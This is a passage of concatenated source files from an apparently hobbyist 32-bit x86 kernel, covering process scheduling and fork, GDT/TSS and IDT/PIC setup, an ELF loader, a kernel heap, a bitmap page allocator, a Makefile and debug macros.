(uint32_t)&current->kernel_stack[1024]; } return newstate; } uint32_t current_task_id = 0; cpu_state_t* schedule(cpu_state_t* state) { if(current) current->cpu_state = state; process_t* start; process_t* next; if(!processes) { next = sleep_forever_process; } else { if(current == sleep_forever_process || current == 0) { process_t* tmp = processes; while(tmp->next) tmp = tmp->next; start = tmp; next = processes; } else { start = current; next = current->next; } while(true) { if(!next) { next = processes; } if(!next) { next = sleep_forever_process; break; } if(next->state == STATE_RUNNABLE) { break; } if(next == start) { //We're back at the beginning, what now? next = sleep_forever_process; break; } next = next->next; } } current = next; return current->cpu_state; } void ks_push(process_t* process, uint32_t value) { *(--process->kernel_stack_ptr) = value; } uint32_t ks_pop(process_t* process) { return *(process->kernel_stack_ptr++); } typedef __builtin_va_list va_list; #define va_start(v,l) __builtin_va_start(v,l) #define va_end(v) __builtin_va_end(v) #define va_arg(v,l) __builtin_va_arg(v,l) process_t* new_process(page_directory_t* page_directory, uint32_t entry, uint32_t params, ...) { process_t* process = (process_t*)kmalloc(sizeof(process_t), 4); process->process_id = next_pid++; process->kernel_stack_ptr = (uint32_t*)&process->kernel_stack[1024]; process->page_directory = page_directory; process->state = STATE_RUNNABLE; process->next = 0; va_list args; va_start(args, params); uint32_t eflags; asm volatile("pushf; pop %0" : "=r"(eflags)); ks_push(process, 0x20 | 0x03); ks_push(process, 0xC0000000); ks_push(process, 0x202);//ks_push(process, eflags); //Eflags ks_push(process, 0x18 | 0x03); //Code Segment ks_push(process, (uint32_t)entry); uint32_t tmp = (uint32_t)process->kernel_stack_ptr; ks_push(process, 0); //EAX - EDX ks_push(process, 0); ks_push(process, 0); ks_push(process, 0); ks_push(process, tmp); ks_push(process, 0); ks_push(process, 0); ks_push(process, 0); ks_push(process, 0x20 | 0x03); return process; } void sleep_forever_entry() { printf("Sleep-Forever started sleeping...\n"); while(true) { asm volatile ("hlt"); } printf("Sleep-Forever STOPPED sleeping...\n"); } void init_sleep_forever() { process_t* process = (process_t*)kmalloc(sizeof(process_t), 4); process->process_id = 0; process->kernel_stack_ptr = (uint32_t*)&process->kernel_stack[1024]; process->page_directory = kernel_directory; process->state = STATE_RUNNABLE; process->next = 0; ks_push(process, 0x202);//ks_push(process, eflags); //Eflags ks_push(process, 0x08); //Code Segment ks_push(process, (uint32_t)sleep_forever_entry); uint32_t tmp = (uint32_t)process->kernel_stack_ptr; ks_push(process, 0); //EAX - EDX ks_push(process, 0); ks_push(process, 0); ks_push(process, 0); ks_push(process, tmp); ks_push(process, 0); ks_push(process, 0); ks_push(process, 0); ks_push(process, 0x10); sleep_forever_process = process; } void process_sleep(cpu_state_t* regs) { current->state = STATE_SLEEPING; current->sleeping = regs->ecx; asm volatile ("int $0x81"); } void process_fork(cpu_state_t* regs) { printf("Process %d requested a fork...\n", current->process_id); process_t* first = current; process_t* second = (process_t*)kmalloc(sizeof(process_t), 4); *second = *first; uint32_t stack_len = ((uint32_t)&first->kernel_stack[1024]) - ((uint32_t)regs); second->kernel_stack_ptr = ((uint32_t)&second->kernel_stack[1024]) - stack_len; second->cpu_state->ebx = 0; second->process_id = next_pid++; second->parent_process = first->process_id; second->page_directory = copy_directory(first->page_directory); regs->ebx = second->process_id; second->next = processes; processes = second; } void process_exit(cpu_state_t* regs) { printf("Process %d (parent %d) exited with exit-status %d\n", current->process_id, current->parent_process, regs->ecx); current->state = STATE_DEAD; asm volatile ("int $0x81"); //Reschedule }<file_sep>/gdt.c #include "gdt.h" // Each define here is for a specific flag in the descriptor. // Refer to the intel documentation for a description of what each one does. #define SEG_DESCTYPE(x) ((x) << 0x04) // Descriptor type (0 for system, 1 for code/data) #define SEG_PRES(x) ((x) << 0x07) // Present #define SEG_SAVL(x) ((x) << 0x0C) // Available for system use #define SEG_LONG(x) ((x) << 0x0D) // Long mode #define SEG_SIZE(x) ((x) << 0x0E) // Size (0 for 16-bit, 1 for 32) #define SEG_GRAN(x) ((x) << 0x0F) // Granularity (0 for 1B - 1MB, 1 for 4KB - 4GB) #define SEG_PRIV(x) (((x) & 0x03) << 0x05) // Set privilege level (0 - 3) #define SEG_DATA_RD 0x00 // Read-Only #define SEG_DATA_RDA 0x01 // Read-Only, accessed #define SEG_DATA_RDWR 0x02 // Read/Write #define SEG_DATA_RDWRA 0x03 // Read/Write, accessed #define SEG_DATA_RDEXPD 0x04 // Read-Only, expand-down #define SEG_DATA_RDEXPDA 0x05 // Read-Only, expand-down, accessed #define SEG_DATA_RDWREXPD 0x06 // Read/Write, expand-down #define SEG_DATA_RDWREXPDA 0x07 // Read/Write, expand-down, accessed #define SEG_CODE_EX 0x08 // Execute-Only #define SEG_CODE_EXA 0x09 // Execute-Only, accessed #define SEG_CODE_EXRD 0x0A // Execute/Read #define SEG_CODE_EXRDA 0x0B // Execute/Read, accessed #define SEG_CODE_EXC 0x0C // Execute-Only, conforming #define SEG_CODE_EXCA 0x0D // Execute-Only, conforming, accessed #define SEG_CODE_EXRDC 0x0E // Execute/Read, conforming #define SEG_CODE_EXRDCA 0x0F // Execute/Read, conforming, accessed #define GDT_CODE_PL0 SEG_DESCTYPE(1) | SEG_PRES(1) | SEG_SAVL(0) | \ SEG_LONG(0) | SEG_SIZE(1) | SEG_GRAN(1) | \ SEG_PRIV(0) | SEG_CODE_EXRD #define GDT_DATA_PL0 SEG_DESCTYPE(1) | SEG_PRES(1) | SEG_SAVL(0) | \ SEG_LONG(0) | SEG_SIZE(1) | SEG_GRAN(1) | \ SEG_PRIV(0) | SEG_DATA_RDWR #define GDT_CODE_PL3 SEG_DESCTYPE(1) | SEG_PRES(1) | SEG_SAVL(0) | \ SEG_LONG(0) | SEG_SIZE(1) | SEG_GRAN(1) | \ SEG_PRIV(3) | SEG_CODE_EXRD #define GDT_DATA_PL3 SEG_DESCTYPE(1) | SEG_PRES(1) | SEG_SAVL(0) | \ SEG_LONG(0) | SEG_SIZE(1) | SEG_GRAN(1) | \ SEG_PRIV(3) | SEG_DATA_RDWR struct gdt_entry_bits { unsigned int limit_low:16; unsigned int base_low : 24; //attribute byte split into bitfields unsigned int accessed :1; unsigned int read_write :1; //readable for code, writable for data unsigned int conforming_expand_down :1; //conforming for code, expand down for data unsigned int code :1; //1 for code, 0 for data unsigned int always_1 :1; //should be 1 for everything but TSS and LDT unsigned int DPL :2; //priveledge level unsigned int present :1; //and now into granularity unsigned int limit_high :4; unsigned int available :1; unsigned int always_0 :1; //should always be 0 unsigned int big :1; //32bit opcodes for code, uint32_t stack for data unsigned int gran :1; //1 to use 4k page addressing, 0 for byte addressing unsigned int base_high :8; } __attribute__((packed)); typedef struct gdt_entry_bits gdt_entry_t; struct gdt_ptr_struct { uint16_t limit; // The upper 16 bits of all selector limits. uint32_t base; // The address of the first gdt_entry_t struct. } __attribute__((packed)); typedef struct gdt_ptr_struct gdt_ptr_t; enum { GDT_ENTRY_NULL, GDT_ENTRY_KCODE, GDT_ENTRY_KDATA, GDT_ENTRY_UCODE, GDT_ENTRY_UDATA, GDT_ENTRY_TSS, GDT_ENTRY_NUM }; uint64_t gdt_entries[GDT_ENTRY_NUM]; gdt_ptr_t gdt_ptr; tss_struct_t tss_table; void gdt_flush(uint32_t ptr); uint64_t create_descriptor(uint32_t base, uint32_t limit, uint16_t flag); uint64_t tss_build(); void init_gdt() { ZERO_MEM(gdt_entries); ZERO_MEM(&tss_table); gdt_ptr.limit = (sizeof(uint64_t) * GDT_ENTRY_NUM) - 1; gdt_ptr.base = (uint32_t)&gdt_entries; gdt_entries[GDT_ENTRY_NULL] = create_descriptor(0, 0, 0); gdt_entries[GDT_ENTRY_KCODE] = create_descriptor(0, 0x000FFFFF, (GDT_CODE_PL0)); gdt_entries[GDT_ENTRY_KDATA] = create_descriptor(0, 0x000FFFFF, (GDT_DATA_PL0)); gdt_entries[GDT_ENTRY_UCODE] = create_descriptor(0, 0x000FFFFF, (GDT_CODE_PL3)); gdt_entries[GDT_ENTRY_UDATA] = create_descriptor(0, 0x000FFFFF, (GDT_DATA_PL3)); gdt_entries[GDT_ENTRY_TSS] = tss_build(); gdt_flush((uint32_t)&gdt_ptr); } char tmpcpustack[1024]; uint64_t tss_build() { tss_table.ss0 = GDT_ENTRY_KDATA << 3; //0x10; // System-Data Segment is 2 -> 2<<3 == 0x10 tss_table.esp0 = (uint32_t)&tmpcpustack[1024]; uint64_t ret = 0; gdt_entry_t* g = (gdt_entry_t*)&ret; // Firstly, let's compute the base and limit of our entry into the GDT. uint32_t base = ((uint32_t)&tss_table) + KERNEL_VIRTUAL_BASE; base -= 0xC0000000; uint32_t limit = sizeof(tss_table) - 1; // Now, add our TSS descriptor's address to the GDT. g->base_low=base&0xFFFFFF; //isolate bottom 24 bits g->accessed=1; //This indicates it's a TSS and not a LDT. This is a changed meaning g->read_write=0; //This indicates if the TSS is busy or not. 0 for not busy g->conforming_expand_down=0; //always 0 for TSS g->code=1; //For TSS this is 1 for 32bit usage, or 0 for 16bit. g->always_1=0; //indicate it is a TSS g->DPL=3; //same meaning g->present=1; //same meaning g->limit_high=(limit&0xF0000)>>16; //isolate top nibble g->available=0; g->always_0=0; //same thing g->big=0; //should leave zero according to manuals. No effect g->gran=0; //so that our computed GDT limit is in bytes, not pages g->base_high=(base&0xFF000000)>>24; //isolate top byte. g->limit_low=limit&0xFFFF; return ret; } void tss_load(unsigned long cpu_num) { asm volatile("ltr %%ax": : "a" ((5 + cpu_num)<<3)); } uint64_t create_descriptor(uint32_t base, uint32_t limit, uint16_t flag) { uint64_t descriptor; // Create the high 32 bit segment descriptor = limit & 0x000F0000; // set limit bits 19:16 descriptor |= (flag << 8) & 0x00F0FF00; // set type, p, dpl, s, g, d/b, l and avl fields descriptor |= (base >> 16) & 0x000000FF; // set base bits 23:16 descriptor |= base & 0xFF000000; // set base bits 31:24 // Shift by 32 to allow for low part of segment descriptor <<= 32; // Create the low 32 bit segment descriptor |= base << 16; // set base bits 15:0 descriptor |= limit & 0x0000FFFF; // set limit bits 15:0 return descriptor; } typedef uint32_t u32int; typedef uint16_t u16int; typedef uint8_t u8int; struct idt_entry_struct { u16int base_lo; // The lower 16 bits of the address to jump to when this interrupt fires. u16int sel; // Kernel segment selector. u8int always0; // This must always be zero. u8int flags; // More flags. See documentation. u16int base_hi; // The upper 16 bits of the address to jump to. } __attribute__((packed)); typedef struct idt_entry_struct idt_entry_t; // A struct describing a pointer to an array of interrupt handlers. // This is in a format suitable for giving to 'lidt'. struct idt_ptr_struct { u16int limit; u32int base; // The address of the first element in our idt_entry_t array. } __attribute__((packed)); typedef struct idt_ptr_struct idt_ptr_t; // These extern directives let us access the addresses of our ASM ISR handlers. extern void isr0 (); extern void isr1 (); extern void isr2 (); extern void isr3 (); extern void isr4 (); extern void isr5 (); extern void isr6 (); extern void isr7 (); extern void isr8 (); extern void isr9 (); extern void isr10 (); extern void isr11 (); extern void isr12 (); extern void isr13 (); extern void isr14 (); extern void isr15 (); extern void isr16 (); extern void isr17 (); extern void isr18 (); extern void isr19 (); extern void isr20 (); extern void isr21 (); extern void isr22 (); extern void isr23 (); extern void isr24 (); extern void isr25 (); extern void isr26 (); extern void isr27 (); extern void isr28 (); extern void isr29 (); extern void isr30 (); extern void isr31(); extern void irq0(); extern void irq1(); extern void irq2(); extern void irq3(); extern void irq4(); extern void irq5(); extern void irq6(); extern void irq7(); extern void irq8(); extern void irq9(); extern void irq10(); extern void irq11(); extern void irq12(); extern void irq13(); extern void irq14(); extern void irq15(); extern void usr_int_asm(); extern void yield(); idt_entry_t idt_entries[256]; idt_ptr_t idt_ptr; void idt_flush(u32int); void idt_set_gate(u8int num, u32int base, u16int sel, u8int flags); void idt_set_user_gate(u8int num, u32int base, u16int sel, u8int flags); #define PIC1 0x20 /* IO base address for master PIC */ #define PIC2 0xA0 /* IO base address for slave PIC */ #define PIC1_COMMAND PIC1 #define PIC1_DATA (PIC1+1) #define PIC2_COMMAND PIC2 #define PIC2_DATA (PIC2+1) #define ICW1_ICW4 0x01 /* ICW4 (not) needed */ #define ICW1_SINGLE 0x02 /* Single (cascade) mode */ #define ICW1_INTERVAL4 0x04 /* Call address interval 4 (8) */ #define ICW1_LEVEL 0x08 /* Level triggered (edge) mode */ #define ICW1_INIT 0x10 /* Initialization - required! */ #define ICW4_8086 0x01 /* 8086/88 (MCS-80/85) mode */ #define ICW4_AUTO 0x02 /* Auto (normal) EOI */ #define ICW4_BUF_SLAVE 0x08 /* Buffered mode/slave */ #define ICW4_BUF_MASTER 0x0C /* Buffered mode/master */ #define ICW4_SFNM 0x10 /* Special fully nested (not) */ void io_wait(){ //for(int i = 0; i < 1000000; ++i); } void init_idt() { unsigned char a1, a2; a1 = inb(PIC1_DATA); // save masks a2 = inb(PIC2_DATA); outb(PIC1_COMMAND, ICW1_INIT+ICW1_ICW4); // starts the initialization sequence (in cascade mode) io_wait(); outb(PIC2_COMMAND, ICW1_INIT+ICW1_ICW4); io_wait(); outb(PIC1_DATA, 0x20); // ICW2: Master PIC vector offset io_wait(); outb(PIC2_DATA, 0x28); // ICW2: Slave PIC vector offset io_wait(); outb(PIC1_DATA, 4); // ICW3: tell Master PIC that there is a slave PIC at IRQ2 (0000 0100) io_wait(); outb(PIC2_DATA, 2); // ICW3: tell Slave PIC its cascade identity (0000 0010) io_wait(); outb(PIC1_DATA, ICW4_8086); io_wait(); outb(PIC2_DATA, ICW4_8086); io_wait(); outb(PIC1_DATA, a1); // restore saved masks. outb(PIC2_DATA, a2); idt_ptr.limit = sizeof(idt_entry_t) * 256 -1; idt_ptr.base = (u32int)&idt_entries; memset(&idt_entries, 0, sizeof(idt_entry_t)*256); idt_set_gate( 0, (u32int)&isr0 , 0x08, 0x8E); idt_set_gate( 1, (u32int)&isr1 , 0x08, 0x8E); idt_set_gate( 2, (u32int)&isr2 , 0x08, 0x8E); idt_set_gate( 3, (u32int)&isr3 , 0x08, 0x8E); idt_set_gate( 4, (u32int)&isr4 , 0x08, 0x8E); idt_set_gate( 5, (u32int)&isr5 , 0x08, 0x8E); idt_set_gate( 6, (u32int)&isr6 , 0x08, 0x8E); idt_set_gate( 7, (u32int)&isr7 , 0x08, 0x8E); idt_set_gate( 8, (u32int)&isr8 , 0x08, 0x8E); idt_set_gate( 9, (u32int)&isr9 , 0x08, 0x8E); idt_set_gate( 10, (u32int)&isr10, 0x08, 0x8E); idt_set_gate( 11, (u32int)&isr11 , 0x08, 0x8E); idt_set_gate( 12, (u32int)&isr12 , 0x08, 0x8E); idt_set_gate( 13, (u32int)&isr13 , 0x08, 0x8E); idt_set_gate( 14, (u32int)&isr14 , 0x08, 0x8E); idt_set_gate( 15, (u32int)&isr15 , 0x08, 0x8E); idt_set_gate( 16, (u32int)&isr16 , 0x08, 0x8E); idt_set_gate( 17, (u32int)&isr17 , 0x08, 0x8E); idt_set_gate( 18, (u32int)&isr18 , 0x08, 0x8E); idt_set_gate( 19, (u32int)&isr19 , 0x08, 0x8E); idt_set_gate( 20, (u32int)&isr20 , 0x08, 0x8E); idt_set_gate( 21, (u32int)&isr21 , 0x08, 0x8E); idt_set_gate( 22, (u32int)&isr22 , 0x08, 0x8E); idt_set_gate( 23, (u32int)&isr23 , 0x08, 0x8E); idt_set_gate( 24, (u32int)&isr24 , 0x08, 0x8E); idt_set_gate( 25, (u32int)&isr25 , 0x08, 0x8E); idt_set_gate( 26, (u32int)&isr26 , 0x08, 0x8E); idt_set_gate( 27, (u32int)&isr27 , 0x08, 0x8E); idt_set_gate( 28, (u32int)&isr28 , 0x08, 0x8E); idt_set_gate( 29, (u32int)&isr29 , 0x08, 0x8E); idt_set_gate( 30, (u32int)&isr30 , 0x08, 0x8E); idt_set_gate( 31, (u32int)&isr31 , 0x08, 0x8E); idt_set_gate( 32, (u32int)&irq0 , 0x08, 0x8E); idt_set_gate( 33, (u32int)&irq1 , 0x08, 0x8E); idt_set_gate( 34, (u32int)&irq2 , 0x08, 0x8E); idt_set_gate( 35, (u32int)&irq3 , 0x08, 0x8E); idt_set_gate( 36, (u32int)&irq4 , 0x08, 0x8E); idt_set_gate( 37, (u32int)&irq5 , 0x08, 0x8E); idt_set_gate( 38, (u32int)&irq6 , 0x08, 0x8E); idt_set_gate( 39, (u32int)&irq7 , 0x08, 0x8E); idt_set_gate( 40, (u32int)&irq8 , 0x08, 0x8E); idt_set_gate( 41, (u32int)&irq9 , 0x08, 0x8E); idt_set_gate( 42, (u32int)&irq10 , 0x08, 0x8E); idt_set_gate( 43, (u32int)&irq11 , 0x08, 0x8E); idt_set_gate( 44, (u32int)&irq12 , 0x08, 0x8E); idt_set_gate( 45, (u32int)&irq13 , 0x08, 0x8E); idt_set_gate( 46, (u32int)&irq14 , 0x08, 0x8E); idt_set_gate( 47, (u32int)&irq15 , 0x08, 0x8E); idt_set_user_gate( 0x80, (u32int)&usr_int_asm, 0x08, 0x8E); idt_set_user_gate( 0x81, (u32int)&yield, 0x08, 0x8E); idt_flush((u32int)&idt_ptr); } void idt_set_gate(u8int num, u32int base, u16int sel, u8int flags) { idt_entries[num].base_lo = base & 0xFFFF; idt_entries[num].base_hi = (base >> 16) & 0xFFFF; idt_entries[num].sel = sel; idt_entries[num].always0 = 0; // We must uncomment the OR below when we get to using user-mode. // It sets the interrupt gate's privilege level to 3. idt_entries[num].flags = flags /* | 0x60 */; } void idt_set_user_gate(u8int num, u32int base, u16int sel, u8int flags) { idt_entries[num].base_lo = base & 0xFFFF; idt_entries[num].base_hi = (base >> 16) & 0xFFFF; idt_entries[num].sel = sel; idt_entries[num].always0 = 0; // We must uncomment the OR below when we get to using user-mode. // It sets the interrupt gate's privilege level to 3. idt_entries[num].flags = flags | 0x60; }<file_sep>/terminal.h #ifndef TERMINAL_H #define TERMINAL_H #include "types.h" enum vga_color { COLOR_BLACK = 0, COLOR_BLUE = 1, COLOR_GREEN = 2, COLOR_CYAN = 3, COLOR_RED = 4, COLOR_MAGENTA = 5, COLOR_BROWN = 6, COLOR_LIGHT_GREY = 7, COLOR_DARK_GREY = 8, COLOR_LIGHT_BLUE = 9, COLOR_LIGHT_GREEN = 10, COLOR_LIGHT_CYAN = 11, COLOR_LIGHT_RED = 12, COLOR_LIGHT_MAGENTA = 13, COLOR_LIGHT_BROWN = 14, COLOR_WHITE = 15, }; static const size_t VGA_WIDTH = 80; static const size_t VGA_HEIGHT = 25; static const size_t TAB_SIZE = 4; inline uint8_t make_color(enum vga_color fg, enum vga_color bg) { return fg | bg << 4; } inline uint16_t make_vgaentry(char c, uint8_t color) { uint16_t c16 = c; uint16_t color16 = color; return c16 | color16 << 8; } size_t strlen(const char* str); void terminal_initialize(); void terminal_setcolor(uint8_t color); void terminal_putentryat(char c, uint8_t color, size_t x, size_t y); void terminal_break(); void terminal_advance(); void terminal_tab(); void terminal_putchar(char c); void itoa(char *buf, int base, int d); void printf (const char *format, ...); void update_cursor(int row, int col); #endif<file_sep>/elf.h #ifndef ELF_H #define ELF_H #include "types.h" #define ELFMAG0 0x7f #define ELFMAG1 'E' #define ELFMAG2 'L' #define ELFMAG3 'F' #define ELFCLASSNONE 0 #define ELFCLASS32 1 #define ELFCLASS64 2 enum { ELF_ERR_NONE, ELF_ERR_WRONG_MAGIC, ELF_ERR_WRONG_CLASS, ELF_ERR_NO_PROGRAM_HEADER }; typedef struct { uint8_t e_ident[16]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; uint32_t e_entry; uint32_t e_phoff; uint32_t e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } elf_header_t; typedef struct { uint32_t type; uint32_t offset; uint32_t vaddr; uint32_t paddr; uint32_t filesize; uint32_t memsize; uint32_t flags; uint32_t align; } elf_ph_t; #define PF_R 0x4 /* p_flags */ #define PF_W 0x2 #define PF_X 0x1 /* * Loads the elf-file and their segments to whereever they need to be and returns the start-address */ uint32_t elf_load_executable(void* file); uint32_t elf_last_error(); #endif<file_sep>/memory.c #include "memory.h" #include "debug.h" #include "vmm.h" static heap_t kernel_heap; void printf (const char *format, ...); void init_kernel_heap() { extern const void KernelStart, KernelEnd; UNUSED(KernelStart); uint32_t KernelEndAddr = (uint32_t)&KernelEnd; kernel_heap.pos = kernel_heap.start = KernelEndAddr; kernel_heap.allocated_end = KernelEndAddr + MB(4); //Since the first 4 MB are mapped from the beginning we can just use that space kernel_heap.max_end = KernelEndAddr + MB(512); } void* kmalloc(uint32_t space, uint32_t alignment) { if(alignment > 1) kernel_heap.pos = ALIGN(kernel_heap.pos, alignment); while((kernel_heap.pos + space) >= kernel_heap.allocated_end) { alloc_frame(get_page(kernel_heap.allocated_end, false, kernel_directory), 0, 0); kernel_heap.allocated_end += 0x1000; } uint32_t tmp; tmp = kernel_heap.pos; kernel_heap.pos += space; return (void*)tmp; } void memset(void* ptr, uint8_t b, uint32_t size) { for(uint32_t i = 0; i < size; i++) *((uint8_t*)ptr+i) = b; } /* * Simple Memcpy, copies char-by-char * TODO implement better algorythm * at the moment only fixes overlapping problem */ void memcpy(void* dest, void* src, uint32_t size) { if(dest == src) return; if(dest < src) while(size-- > 0) *(char*) dest++ = *(char*) src++; else { src += size; dest += size; while(size-- > 0) *(char*) --dest = *(char*) --src; } } void disable_pse() { asm volatile ( "mov %%cr4, %%eax\n" "and $~0x00000010, %%eax\n" "mov %%eax, %%cr4":::"eax"); }<file_sep>/pmm.c #include "pmm.h" #include "memory.h" /* * Der Einfachheit halber deklarieren wir die maximal benoetige Bitmapgroesse * statisch (Wir brauchen 4 GB / 4 kB = 1M Bits; 1M Bits sind 1M/32 = 32k * Eintraege fuer das Array) * * Willkuerliche Festlegung: 1 = Speicher frei, 0 = Speicher belegt */ #define ARR_OFFSET(var) (var/32) #define BIT_OFFSET(var) (var%32) #define FOR_EACH_BIT(varname) for(uint32_t varname = 0; varname < 32; ++varname) #define BIT_TO_PAGE(arroff, bitoff) ((arroff) * 32 + (bitoff)) #define IS_BIT_SET(var, bit) ((var) & 1<<(bit)) #define UNSET_BIT(var, bit) var = var & ~(1<<bit) #define SET_BIT(var, bit) var = var | (1<<bit); #define ALL_USED(var) (var == 0x00000000) #define BITMAP_SIZE 32768 static uint32_t bitmap[BITMAP_SIZE]; static uint32_t endFrame; // For internal use. Set a chunk as free, faster than setting bit by bit void pmm_set_free_chunk(uint32_t addr, uint32_t end); void pmm_set_used_chunk(uint32_t addr, uint32_t end); void pmm_init(multiboot_info_t* mbt){ memset(bitmap, 0, sizeof(bitmap)); endFrame = 0; multiboot_memory_map_t* mmap = (multiboot_memory_map_t*)mbt->mmap_addr; while(mmap < (multiboot_memory_map_t*)(mbt->mmap_addr + mbt->mmap_length)) { if(mmap->type == MULTIBOOT_MEMORY_AVAILABLE) { //Is this Memory available to us? uint32_t end = mmap->addr + mmap->len; pmm_set_free_chunk(ADDR_TO_PAGE(mmap->addr), ADDR_TO_PAGE(end)); if(endFrame < ADDR_TO_PAGE(end)) endFrame = ADDR_TO_PAGE(end); } mmap = (multiboot_memory_map_t*) ( (unsigned int)mmap + mmap->size + sizeof(unsigned int) ); } //Define some global variables //extern const void PhysKernelStart, PhysKernelEnd; /*for(uint32_t i = ALIGN_DOWN((uint32_t)&PhysKernelStart, PAGE_SIZE); i < (uint32_t)PhysKernelEnd; i += PAGE_SIZE) pmm_set_used(i);*/ //pmm_set_used_chunk(ADDR_TO_PAGE((uint32_t)&PhysKernelStart), ADDR_TO_PAGE(PAGE_ALIGNED((uint32_t)&PhysKernelEnd))); //pmm_set_used_chunk(ADDR_TO_PAGE((uint32_t)&PhysKernelStart), ADDR_TO_PAGE(PAGE_ALIGNED((uint32_t)&PhysKernelEnd))); pmm_set_used(0); //Set 0 as used as 0 is used as error } void pmm_set_free_chunk(uint32_t addr, uint32_t end) { while(addr < end && IS_ALIGNED(addr, 32)) //while the bit isn't aligned on a uint32_t boundary pmm_free(addr++); // Set the page free while(addr < end - 31) { //We are aligned on a uint32_t now bitmap[ARR_OFFSET(addr)] = 0xFFFFFFFF; //Set the whole 32 bit free while there are more than 32 bits to set addr += 32; } while(addr < end) //Set the last few bits free pmm_free(addr++); } void pmm_set_used_chunk(uint32_t addr, uint32_t end) { while(addr < end && IS_ALIGNED(addr, 32)) pmm_set_used(addr++); while(addr < end - 31) { bitmap[ARR_OFFSET(addr)] = 0; addr += 32; } while(addr < end) pmm_set_used(addr++); } void pmm_set_used(uint32_t addr) { UNSET_BIT(bitmap[ARR_OFFSET(addr)], BIT_OFFSET(addr)); } void pmm_free(uint32_t addr) { SET_BIT(bitmap[ARR_OFFSET(addr)], BIT_OFFSET(addr)); } bool is_free(uint32_t addr) { return IS_BIT_SET(bitmap[ARR_OFFSET(addr)], BIT_OFFSET(addr)); } uint32_t pmm_alloc_first_free() { uint32_t page = pmm_first_free(); pmm_set_used(page); return page; } uint32_t pmm_first_free() { for(uint32_t i = 0; i < ARR_OFFSET(endFrame); ++i) { if(!ALL_USED(bitmap[i])) { FOR_EACH_BIT(j) { if ( IS_BIT_SET(bitmap[i], j) ) { return BIT_TO_PAGE(i, j); } } } } return 0; } <file_sep>/scheduler.h #ifndef PROCESS_H #define PROCESS_H #include "vmm.h" typedef struct { /* 0 */ uint32_t ds; // Data segment selector /* pushed by pusha */ /* 4 */ uint32_t edi; /* 8 */ uint32_t esi; /* 12 */ uint32_t ebp; /* 16 */ uint32_t esp; /* 20 */ uint32_t ebx; /* 24 */ uint32_t edx; /* 28 */ uint32_t ecx; /* 32 */ uint32_t eax; /* pushed by the processor on interrupt*/ /* 36 */ uint32_t eip; //Instruction pointer /* 40 */ uint32_t cs; //Code segment /* 44 */ uint32_t eflags; // Flags // Only pushed on ringwechsel!!! /* 48 */ uint32_t useresp; // Stack ptr /* 52 */ uint32_t ss; // Stack Segment /* 56 */ } cpu_state_t; enum { STATE_RUNNABLE, STATE_SLEEPING, STATE_DEAD }; typedef struct process_struct { uint32_t process_id; uint32_t parent_process; uint32_t state; uint32_t sleeping; struct process_struct* next; page_directory_t* page_directory; uint32_t kernel_stack[1024]; union { uint32_t* kernel_stack_ptr; cpu_state_t* cpu_state; }; } process_t; void ks_push(process_t* process, uint32_t value); uint32_t ks_pop(process_t* process); process_t* processes; process_t* new_process(page_directory_t* page_directory, uint32_t entry, uint32_t param, ...); void process_fork(); #endif<file_sep>/elf.c #include "elf.h" #include "vmm.h" static uint32_t last_error; #ifndef KERNEL_VIRTUAL_BASE #define KERNEL_VIRTUAL_BASE 0xC0000000 #endif uint32_t elf_load_executable(void* file) { elf_header_t* header = (elf_header_t*)file; if(header->e_ident[0] != ELFMAG0 || header->e_ident[1] != ELFMAG1 || header->e_ident[2] != ELFMAG2 || header->e_ident[3] != ELFMAG3) { last_error = ELF_ERR_WRONG_MAGIC; return 0; } if(header->e_ident[4] != ELFCLASS32) { last_error = ELF_ERR_WRONG_CLASS; return 0; } if(header->e_phoff == 0 || header->e_phnum == 0) { last_error = ELF_ERR_NO_PROGRAM_HEADER; return 0; } for(uint32_t i = 0; i < header->e_phnum; i++) { elf_ph_t* program_header = (elf_ph_t*)(((uint32_t)file) + header->e_phoff + (header->e_phentsize * i)); printf("Found ProgramHeader type 0x%x\n", program_header->type); if(program_header->type == 1) { //Type 'LOAD' printf("Loading Header from 0x%x size 0x%x to 0x%x size 0x%x\n", program_header->offset, program_header->filesize, program_header->vaddr, program_header->memsize); vmm_map_range(program_header->vaddr, program_header->vaddr + program_header->memsize, 0, ((program_header->flags & PF_W) == PF_W)); memcpy((void*)program_header->vaddr, (void*)(((uint32_t)file) + program_header->offset), program_header->memsize); } } vmm_map_range(KERNEL_VIRTUAL_BASE - 2 * 4096, KERNEL_VIRTUAL_BASE, 0, 1); return header->e_entry; } uint32_t elf_last_error() { return last_error; }<file_sep>/Makefile CC = i686-elf-gcc CCFLAGS = -std=gnu99 -ffreestanding -O2 -Wall -Wextra NASM = nasm NASMFLAGS = -felf LD = i686-elf-gcc LDFLAGS = -T linker.ld -o myos.bin -ffreestanding -O2 -nostdlib -lgcc ALL = boot.o gdt.o kernel.o memory.o pmm.o vmm.o scheduler.o terminal.o elf.o build: myos.bin i686-elf-gcc -c -std=gnu99 -O2 -Wall -Wextra -nostdlib -lgcc -ffreestanding helloworld.c i686-elf-gcc -c -std=gnu99 -O2 -Wall -Wextra -nostdlib -lgcc -ffreestanding stdlib.s i686-elf-gcc -std=gnu99 -O2 -nostdlib -lgcc -ffreestanding stdlib.o helloworld.o mkdir iso mkdir iso/boot mkdir iso/boot/grub cp myos.bin iso/boot/ cp a.out iso/initrd cp grub.cfg iso/boot/grub/ grub-mkrescue -o myos.iso iso myos.bin: $(ALL) i686-elf-gcc -T linker.ld -o myos.bin -ffreestanding -O2 -nostdlib $(ALL) -lgcc %.o: %.c $(CC) $(CCFLAGS) -c $< -o $@ boot.o: boot.s $(NASM) $(NASMFLAGS) boot.s gdt.o: gdt.s i686-elf-as gdt.s -o gdt.o clean: rm *.o rm *.iso rm *.bin rm -rf iso <file_sep>/debug.h #ifndef DEBUG_H #define DEBUG_H #define BOCHS_BREAK asm volatile ("xchg %bx, %bx") #define ASSERT(val) if(!(val)) { \ printf("ASSERT '%s' FAILED IN FILE '%s' AT LINE '%d'\n", #val, __FILE__, __LINE__); \ asm volatile ("cli\nhlt"); \ } #define assert(val) ASSERT(val) #endif
efaf71f6d40c811681131aa5dcb0b2066a649e4b
[ "C", "Makefile" ]
17
C
tkausl/os
f409a95e57f6203789ff1b15f78b4e8e6dfebfe1
b7f0b27483207dd07cc588e1cd4355e7c113844f
refs/heads/master
